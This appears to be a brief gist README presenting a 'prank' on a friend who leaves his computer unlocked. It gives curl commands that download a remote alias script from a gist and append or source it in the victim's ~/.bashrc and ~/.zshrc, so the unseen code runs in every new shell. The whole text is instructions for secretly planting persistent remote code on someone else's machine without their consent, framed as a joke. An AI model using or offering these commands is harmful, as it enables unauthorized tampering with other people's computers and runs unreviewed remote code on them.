I made this to mess with a friend of mine who never locks his computer. You can annoy your friends too!
Just add the .aliases.sh content to your friend's .*rc file. Pick his preferred editor (the only difference is the file it dumps to)
$ curl https://gist.githubusercontent.com/dncrews/1ba8919b24b2e4569c2f/raw/1599926cdf6d15f82c2eb00e64751ca455240654/.aliases.sh >> ~/.bashrc
$ curl https://gist.githubusercontent.com/dncrews/1ba8919b24b2e4569c2f/raw/1599926cdf6d15f82c2eb00e64751ca455240654/.aliases.sh >> ~/.zshrc
$ curl -o ~/._new_alias.sh https://gist.githubusercontent.com/dncrews/1ba8919b24b2e4569c2f/raw/1599926cdf6d15f82c2eb00e64751ca455240654/.aliases.sh;
$ echo "\n\n### Added by your mean friend\nif [ -f ~/._new_alias.sh ]; then\n source ~/._new_alias.sh\nfi" >> ~/.bashrc;
$ echo "\n\n### Added by your mean friend\nif [ -f ~/._new_alias.sh ]; then\n source ~/._new_alias.sh\nfi" >> ~/.zshrc;